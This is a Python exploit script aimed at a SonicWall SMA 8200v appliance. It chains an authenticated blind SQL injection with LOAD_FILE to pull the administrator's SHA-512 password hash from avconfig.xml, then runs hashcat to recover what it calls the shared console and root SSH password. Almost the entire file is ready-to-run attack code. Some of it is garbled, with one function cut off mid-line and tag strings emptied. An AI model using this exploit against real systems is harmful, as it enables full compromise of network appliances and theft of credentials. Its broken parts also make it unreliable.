#!/usr/bin/env python3 """ SonicWall SMA 8200v - Admin Hash Extraction via SQL Injection + LOAD_FILE ========================================================================= CVE: TBD (Cross-Parameter SQL Injection via safeParam() Backslash Bypass) Affected: SMA 8200v firmware 12.5.0-02283 (and likely other 12.x versions) DESCRIPTION: Extracts the management console administrator's SHA-512 password hash from avconfig.xml using a post-authentication blind SQL injection in the admin console's activeUsers.action endpoint (port 8443). The admin hash stored in avconfig.xml is the same credential used for: - Management console login (port 8443) - Root OS login (SSH, serial console) Cracking this hash provides full appliance compromise. ATTACK CHAIN: 1. Authenticate to admin console (port 8443, j_security_check) 2. Cross-parameter blind SQLi (realmFilter backslash + communityFilter) 3. LOAD_FILE() reads avconfig.xml (DbAdmin has FILE privilege, secure_file_priv is unrestricted, file is world-readable) 4. SQL LOCATE() targets the admin element (after anchor) without hardcoded offsets 5. Binary search extracts hash char-by-char (7 requests/char) 6. Output in hashcat-compatible format ($6$ = mode 1800) TIMING: ~98 chars * ~7 requests/char * ~0.5s/request = ~5-6 minutes ROOT CAUSE: safeParam() in com.aventail.mgmt.sql.Sql escapes single-quotes and double-quotes but NOT backslashes, enabling cross-parameter injection. AUTHORIZATION: For authorized penetration testing engagements only. USAGE: # Extract admin hash and display hashcat command: python3 sma_admin_hash_poc.py -t -P # Extract and write hashcat-ready file: python3 sma_admin_hash_poc.py -t -P -o admin.hash # Extract any user hash from avconfig.xml by anchor keyword: python3 sma_admin_hash_poc.py -t -P --anchor userName --anchor-value anthony.cihan # Verbose mode with timing stats: python3 sma_admin_hash_poc.py -t -P -v """ import argparse import os import re import subprocess import sys import time import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) try: import requests except ImportError: print("[!] 'requests' library required: pip3 install requests") sys.exit(1) # ============================================================================ # CONSTANTS # ============================================================================ CONSOLE_PORT = 8443 ACTION_URL = "/activeUsers.action" LOGIN_URL = "/console.action" AUTH_URL = "/j_security_check" # Target file path on appliance AVCONFIG_PATH = "/usr/local/app/mgmt-server/datastore/active/sysconf/avconfig.xml" # Time-based blind thresholds SLEEP_DURATION = 0.3 # Seconds per SLEEP call TRUE_THRESHOLD = 1.5 # Response time (s) above which = TRUE FALSE_THRESHOLD = 0.5 # Response time (s) below which = FALSE REQUEST_TIMEOUT = 30 # Max wait for HTTP response # SHA-512 crypt hash properties SHA512_PREFIX = "$6$" SHA512_MAX_LEN = 120 # Max possible length including prefix, salt, and hash def _update_timing(sleep_dur, true_thresh): """Update global timing parameters.""" global SLEEP_DURATION, TRUE_THRESHOLD SLEEP_DURATION = sleep_dur TRUE_THRESHOLD = true_thresh # ============================================================================ # BANNER # ============================================================================ def banner(): print(r""" +================================================================+ | SonicWall SMA 8200v - Admin Hash Extraction PoC | | Firmware: 12.5.0-02283 (and likely other 12.x) | | Chain: Auth -> SQLi -> LOAD_FILE(avconfig.xml) -> Hash | | Impact: Admin hash = Root OS password (full compromise) | +================================================================+ """) # ============================================================================ # HELPERS # ============================================================================ def to_hex(s): """Convert string to MySQL hex literal (0x...).""" return "0x" + s.encode("utf-8").hex() def to_char_concat(s): """Convert string to CHAR(n,n,n,...) for SQL without quotes.""" return "CHAR(" + ",".join(str(ord(c)) for c in s) + ")" # ============================================================================ # AUTHENTICATION # ============================================================================ def authenticate(target, port, username, password, realm="", verbose=False): """ Authenticate to the SMA admin console on port 8443. Flow: 1. GET /console.action -> extract CSRF token from login form 2. POST /j_security_check with csrfToken, j_username, j_password, realmId 3. Follow redirect to /console.action to establish session 4. Return session with valid JSESSIONID cookie Auth realms: "" -> "Management Console" (primary admin, default) "AMCAuthRealm" -> "Local Authentication" (secondary admins: readonly, etc.) """ base_url = f"https://{target}:{port}" session = requests.Session() session.verify = False # Step 1: Get login page and extract CSRF token if verbose: print(f"[*] Fetching login page: {base_url}{LOGIN_URL}") try: resp = session.get(f"{base_url}{LOGIN_URL}", timeout=15) except requests.exceptions.ConnectionError as e: print(f"[!] Cannot connect to {base_url}: {e}") return None, None csrf_match = re.search(r'name="csrfToken"\s+value="([^"]+)"', resp.text) if not csrf_match: csrf_match = re.search( r'csrfToken["\s]*(?:value=|:)["\s]*([A-Z0-9]+)', resp.text ) if not csrf_match: print("[!] Could not extract CSRF token from login page") if verbose: print(f" Response snippet: {resp.text[:500]}") return None, None csrf_token = csrf_match.group(1) if verbose: print(f"[*] CSRF token: {csrf_token}") # Step 2: POST authentication (with realmId for non-default realms) auth_data = { "csrfToken": csrf_token, "j_username": username, "j_password": password, "realmId": realm, } if verbose and realm: print(f"[*] Auth realm: {realm}") resp = session.post( f"{base_url}{AUTH_URL}", data=auth_data, allow_redirects=True, timeout=15, ) # Step 3: Verify authentication succeeded if resp.status_code == 200 and "console.action" in resp.url: jsessionid = session.cookies.get("JSESSIONID", "unknown") if verbose: print(f"[+] Authenticated. JSESSIONID: {jsessionid[:30]}...") return session, base_url elif "j_security_check" in resp.url or resp.status_code == 401: print("[!] Authentication failed. Check credentials.") return None, None else: if verbose: print( f"[?] Unexpected auth response: HTTP {resp.status_code} -> {resp.url}" ) check = session.get(f"{base_url}{LOGIN_URL}", timeout=10) if check.status_code == 200 and "activeUsers" in check.text: return session, base_url return None, None # ============================================================================ # CROSS-PARAMETER BLIND SQL INJECTION # ============================================================================ def sqli_request(session, base_url, sql_expression, sleep_time=SLEEP_DURATION, verbose=False): """ Execute a time-based blind SQL injection via the cross-parameter technique. Injection anatomy: realmFilter = test\\ -> In SQL: rt.name='test\\') [backslash escapes the closing quote] -> String extends through: ') AND (ct.name=' -> String value becomes: "test') AND (ct.name=" communityFilter = )) OR (SELECT IF(, SLEEP(N), 0))-- x -> After string closes, )) closes the WHERE parens -> OR (SELECT IF(...)) wraps in scalar subquery so SLEEP executes exactly ONCE regardless of row count -> -- x comments out remaining SQL Returns: True - condition is TRUE (response delayed >= TRUE_THRESHOLD) False - condition is FALSE (response fast < FALSE_THRESHOLD) None - indeterminate (response time between thresholds) """ # Scalar subquery ensures SLEEP executes once, not per-row payload = f")) OR (SELECT IF({sql_expression},SLEEP({sleep_time}),0))-- x" form_data = { "realmFilter": "test\\", "communityFilter": payload, "userNameFilter": "", "zoneFilter": "", "platformFilter": "", "agentFilter": "", "agentVersionFilter": "", "sessionType": "activeSessions", "timePeriod": "0", "pageSize": "25", "command": "filter", } url = f"{base_url}{ACTION_URL}" start = time.time() try: resp = session.post(url, data=form_data, timeout=REQUEST_TIMEOUT) elapsed = time.time() - start except requests.exceptions.Timeout: elapsed = REQUEST_TIMEOUT if verbose: print(f" [timeout after {elapsed:.1f}s]") return True except requests.exceptions.ConnectionError: return None if verbose: print(f" Response: HTTP {resp.status_code}, {elapsed:.2f}s") if elapsed >= TRUE_THRESHOLD: return True elif elapsed <= FALSE_THRESHOLD: return False else: return None def extract_char_binary_search(session, base_url, sql_value_expr, position, verbose=False): """ Extract a single character using binary search over ASCII range. ORD(SUBSTRING(expr, pos, 1)) comparisons, 7 requests max per char. """ low, high = 0, 127 while low < high: mid = (low + high) // 2 condition = f"ORD(SUBSTRING(({sql_value_expr}),{position},1))>{mid}" result = sqli_request(session, base_url, condition, verbose=verbose) if result is True: low = mid + 1 elif result is False: high = mid else: # Indeterminate - retry with longer sleep result2 = sqli_request( session, base_url, condition, sleep_time=SLEEP_DURATION * 2, verbose=verbose ) if result2 is True: low = mid + 1 elif result2 is False: high = mid else: return None if low == 0: return None return chr(low) def extract_string(session, base_url, sql_value_expr, max_length=100, verbose=False, label="data"): """ Extract a string value character by character via blind SQLi. Returns the extracted string. """ # Non-NULL check null_check = f"({sql_value_expr}) IS NOT NULL" result = sqli_request(session, base_url, null_check, verbose=verbose) if result is not True: print(f" [-] Expression returned NULL or check failed") return None # Length > 0 check length_expr = f"LENGTH(({sql_value_expr}))>0" result = sqli_request(session, base_url, length_expr, verbose=verbose) if result is not True: print(f" [-] Expression returned empty string") return "" extracted = [] print(f" Extracting {label}: ", end="", flush=True) for pos in range(1, max_length + 1): char = extract_char_binary_search( session, base_url, sql_value_expr, pos, verbose=verbose ) if char is None: break extracted.append(char) print(char, end="", flush=True) # Early termination: if we hit tag start if len(extracted) >= 4 and "".join(extracted[-1:]) == "<": # Check if next few chars form ', file, anchor_pos) finds the admin tag 4. SUBSTRING from tag + 10 chars (tag length) extracts hash 5. SUBSTRING_INDEX(..., '<', 1) trims at the closing tag This approach is position-independent and works regardless of config changes above the admin section. """ hex_path = to_hex(avconfig_path) # Build anchor search anchor_hex = to_hex(anchor) password_tag_hex = to_hex("") password_tag_len = 10 # len("") # SQL expression: # SUBSTRING_INDEX( # SUBSTRING( # LOAD_FILE(path), # LOCATE('', LOAD_FILE(path), # LOCATE('consoleMode', LOAD_FILE(path)) # ) + 10, # 200 # ), # '<', # 1 # ) # # This extracts the content between and for the # admin entry (the one after consoleMode in the XML). sql = ( f"SUBSTRING_INDEX(" f"SUBSTRING(" f"LOAD_FILE({hex_path})," f"LOCATE({password_tag_hex},LOAD_FILE({hex_path})," f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))" f"+{password_tag_len}," f"{SHA512_MAX_LEN}" f")," f"CHAR(60)," # '<' character - trims at f"1)" ) return sql def build_custom_anchor_sql(avconfig_path, anchor_tag, anchor_value): """ Build SQL to extract a password hash near a custom anchor. For example, to extract the VPN user 'anthony.cihan' hash: anchor_tag = 'userName' anchor_value = 'anthony.cihan' Searches for anchor_value then finds the nearest tag after it. """ hex_path = to_hex(avconfig_path) anchor_str = f"{anchor_value}" anchor_hex = to_hex(anchor_str) password_tag_hex = to_hex("") password_tag_len = 10 sql = ( f"SUBSTRING_INDEX(" f"SUBSTRING(" f"LOAD_FILE({hex_path})," f"LOCATE({password_tag_hex},LOAD_FILE({hex_path})," f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))" f"+{password_tag_len}," f"{SHA512_MAX_LEN}" f")," f"CHAR(60)," f"1)" ) return sql def verify_sqli(session, base_url, verbose=False): """Verify the SQL injection works by testing unconditional SLEEP.""" print("[*] Verifying SQL injection...") start = time.time() result = sqli_request(session, base_url, "1=1", verbose=verbose) elapsed = time.time() - start if result is True: print(f"[+] SQLi CONFIRMED - IF(1=1,SLEEP) triggered ({elapsed:.1f}s)") return True else: print(f"[-] SQLi verification failed (response: {elapsed:.1f}s)") return False def verify_file_read(session, base_url, filepath, verbose=False): """Verify LOAD_FILE can read the target file.""" hex_path = to_hex(filepath) condition = f"LOAD_FILE({hex_path}) IS NOT NULL" result = sqli_request(session, base_url, condition, verbose=verbose) if result is True: print(f"[+] LOAD_FILE({filepath}) - readable") return True else: print(f"[-] LOAD_FILE({filepath}) - NULL (cannot read)") return False def verify_admin_hash_exists(session, base_url, avconfig_path, verbose=False): """Verify the admin hash location can be found in avconfig.xml.""" hex_path = to_hex(avconfig_path) anchor_hex = to_hex("consoleMode") password_hex = to_hex("$6$") # Check that consoleMode exists in the file condition = ( f"LOCATE({anchor_hex},LOAD_FILE({hex_path}))>0" ) result = sqli_request(session, base_url, condition, verbose=verbose) if result is not True: print("[-] 'consoleMode' anchor not found in avconfig.xml") return False print("[+] consoleMode anchor found in avconfig.xml") # Check that $6$ exists after consoleMode condition2 = ( f"LOCATE({password_hex},LOAD_FILE({hex_path})," f"LOCATE({anchor_hex},LOAD_FILE({hex_path})))>0" ) result2 = sqli_request(session, base_url, condition2, verbose=verbose) if result2 is not True: print("[-] Admin SHA-512 hash not found after consoleMode") return False print("[+] Admin SHA-512 hash located in avconfig.xml") return True def extract_admin_hash(session, base_url, avconfig_path, verbose=False): """ Extract the admin console SHA-512 password hash from avconfig.xml. Returns the full hash string (e.g., $6$salt$hash). """ print("[*] Building SQL extraction expression...") sql_expr = build_admin_hash_sql(avconfig_path) if verbose: print(f" SQL: {sql_expr[:100]}...") print(f"[*] Extracting admin hash (est. ~5-6 min for ~98 chars)...") start_time = time.time() admin_hash = extract_string( session, base_url, sql_expr, max_length=SHA512_MAX_LEN, verbose=verbose, label="admin hash" ) elapsed = time.time() - start_time if admin_hash: print(f"[+] Extraction complete in {elapsed:.0f}s") # Validate hash format if admin_hash.startswith("$6$"): print(f"[+] Valid SHA-512 crypt hash detected") else: print(f"[?] Hash doesn't start with $6$ - may be truncated or wrong") else: print(f"[-] Hash extraction failed after {elapsed:.0f}s") return admin_hash # ============================================================================ # HASHCAT INTEGRATION # ============================================================================ def format_hashcat_file(admin_hash, output_path=None): """ Format the hash for hashcat consumption. SHA-512 crypt ($6$) = hashcat mode 1800. """ if not admin_hash or not admin_hash.startswith("$6$"): print("[-] Invalid hash format for hashcat") return None hashcat_line = admin_hash.strip() if output_path: with open(output_path, "w") as f: f.write(hashcat_line + "\n") print(f"[+] Hash written to: {output_path}") return hashcat_line def run_hashcat(hash_file, wordlist=None, rules=None, verbose=False): """ Run hashcat against the extracted hash. Mode 1800 = sha512crypt $6$, PBKDF-like (default rounds=5000). Returns cracked password if successful, None otherwise. """ if not os.path.isfile(hash_file): print(f"[-] Hash file not found: {hash_file}") return None # Default wordlist if wordlist is None: for wl in [ "/usr/share/wordlists/rockyou.txt", "/opt/wordlists/rockyou.txt", "rockyou.txt", ]: if os.path.isfile(wl): wordlist = wl break if wordlist is None: print("[-] No wordlist found. Specify with --wordlist") return None cmd = [ "hashcat", "-m", "1800", # SHA-512 crypt "-a", "0", # Dictionary attack hash_file, wordlist, "--potfile-disable", "-O", # Optimized kernels "--force", # Skip warnings ] if rules: cmd.extend(["-r", rules]) print(f"[*] Running hashcat:") print(f" Mode: 1800 (sha512crypt)") print(f" Hash: {hash_file}") print(f" Wordlist: {wordlist}") if rules: print(f" Rules: {rules}") try: proc = subprocess.run( cmd, capture_output=True, text=True, timeout=7200, # 2 hour max ) if verbose: print(f" stdout: {proc.stdout[-500:]}") print(f" stderr: {proc.stderr[-500:]}") if proc.returncode == 0: # Check --show for cracked result show_cmd = ["hashcat", "-m", "1800", hash_file, "--show"] show_proc = subprocess.run(show_cmd, capture_output=True, text=True) if show_proc.stdout.strip(): cracked = show_proc.stdout.strip().split(":")[-1] print(f"[+] PASSWORD CRACKED: {cracked}") return cracked else: print("[-] Hashcat finished but no password cracked") elif proc.returncode == 1: print("[-] Hashcat exhausted wordlist - password not found") else: print(f"[-] Hashcat exited with code {proc.returncode}") except FileNotFoundError: print("[-] hashcat not found. Install or add to PATH.") print(f" Manual command: hashcat -m 1800 -a 0 {hash_file} ") except subprocess.TimeoutExpired: print("[-] Hashcat timed out (2hr limit)") return None # ============================================================================ # MAIN # ============================================================================ def main(): banner() parser = argparse.ArgumentParser( description="SonicWall SMA 8200v - Admin Hash Extraction via SQLi + LOAD_FILE", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: Extract admin hash: %(prog)s -t 10.10.10.35 -P password Extract and save for hashcat: %(prog)s -t 10.10.10.35 -P password -o admin.hash Extract and auto-crack with hashcat: %(prog)s -t 10.10.10.35 -P password -o admin.hash --crack --wordlist /usr/share/wordlists/rockyou.txt Extract VPN user hash: %(prog)s -t 10.10.10.35 -P password --anchor userName --anchor-value anthony.cihan Verbose with custom timing: %(prog)s -t 10.10.10.35 -P password --sleep 0.5 -v """, ) parser.add_argument("--target", "-t", required=True, help="Target IP/hostname") parser.add_argument("--port", "-p", type=int, default=CONSOLE_PORT, help=f"Admin console port (default: {CONSOLE_PORT})") parser.add_argument("--user", "-u", default="admin", help="Admin console username (default: admin)") parser.add_argument("--password", "-P", required=True, help="Admin console password") parser.add_argument("--output", "-o", help="Write hash to file (hashcat-ready format)") parser.add_argument("--realm", default="", help="Auth realm (empty=Management Console, " "AMCAuthRealm=Local Authentication for readonly)") parser.add_argument("--avconfig-path", default=AVCONFIG_PATH, help=f"Path to avconfig.xml (default: {AVCONFIG_PATH})") parser.add_argument("--anchor", default="consoleMode", help="XML element name to anchor admin section (default: consoleMode)") parser.add_argument("--anchor-value", help="If set, search for value instead of bare anchor") parser.add_argument("--crack", action="store_true", help="Auto-run hashcat after extraction") parser.add_argument("--wordlist", "-w", help="Wordlist for hashcat (default: rockyou.txt)") parser.add_argument("--rules", "-r", help="Hashcat rules file") parser.add_argument("--verify-only", action="store_true", help="Only verify SQLi and file readability, don't extract") parser.add_argument("--sleep", type=float, default=SLEEP_DURATION, help=f"SLEEP duration per request (default: {SLEEP_DURATION})") parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output") args = parser.parse_args() # Update timing globals _update_timing(args.sleep, max(1.0, args.sleep * 4)) total_start = time.time() # ---- Phase 1: Authentication ---- print(f"[*] Target: {args.target}:{args.port}") print(f"[*] User: {args.user}") if args.realm: print(f"[*] Realm: {args.realm}") print(f"[*] Config: {args.avconfig_path}") print() print("[*] Phase 1: Authenticating to admin console...") session, base_url = authenticate( args.target, args.port, args.user, args.password, realm=args.realm, verbose=args.verbose ) if not session: sys.exit(1) print(f"[+] Authentication successful") print() # ---- Phase 2: Verification ---- print("[*] Phase 2: Verifying attack prerequisites...") if not verify_sqli(session, base_url, args.verbose): print("[!] SQL injection not working - aborting") sys.exit(1) if not verify_file_read(session, base_url, args.avconfig_path, args.verbose): print("[!] Cannot read avconfig.xml via LOAD_FILE - aborting") sys.exit(1) if not verify_admin_hash_exists(session, base_url, args.avconfig_path, args.verbose): print("[!] Admin hash not found at expected location - aborting") sys.exit(1) print() if args.verify_only: print("[+] All prerequisites verified. Use without --verify-only to extract.") sys.exit(0) # ---- Phase 3: Hash Extraction ---- print("[*] Phase 3: Extracting admin password hash...") admin_hash = extract_admin_hash( session, base_url, args.avconfig_path, args.verbose ) if not admin_hash: print("[!] Hash extraction failed") sys.exit(1) print() print("=" * 68) print(" EXTRACTED ADMIN HASH") print("=" * 68) print(f" Hash: {admin_hash}") print(f" Length: {len(admin_hash)} chars") print(f" Algorithm: SHA-512 crypt (sha512crypt)") print(f" Hashcat: -m 1800") print(f" Source: {args.avconfig_path}") print(f" Note: Same hash used for admin console + root SSH") print("=" * 68) print() # ---- Phase 4: Output ---- output_path = args.output or "admin.hash" hashcat_line = format_hashcat_file(admin_hash, output_path) if not hashcat_line: sys.exit(1) total_elapsed = time.time() - total_start print() print(f"[*] Total time: {total_elapsed:.0f}s") print() # Print hashcat command wl = args.wordlist or "/usr/share/wordlists/rockyou.txt" print("[*] Hashcat command:") print(f" hashcat -m 1800 -a 0 {output_path} {wl} -O") if args.rules: print(f" hashcat -m 1800 -a 0 {output_path} {wl} -r {args.rules} -O") print() print("[*] John the Ripper command:") print(f" john --format=sha512crypt --wordlist={wl} {output_path}") print() # ---- Phase 5: Auto-crack (optional) ---- if args.crack: print("[*] Phase 5: Running hashcat...") cracked = run_hashcat( output_path, args.wordlist, args.rules, args.verbose ) if cracked: print() print("=" * 68) print(" FULL COMPROMISE ACHIEVED") print("=" * 68) print(f" Admin Password: {cracked}") print(f" Console Login: https://{args.target}:{args.port}/") print(f" SSH Login: ssh root@{args.target}") print(f" Root Password: {cracked} (same credential)") print("=" * 68) else: print("[-] Auto-crack unsuccessful. Try larger wordlists or rules.") else: print("[*] To auto-crack, re-run with --crack flag") sys.exit(0) if __name__ == "__main__": main()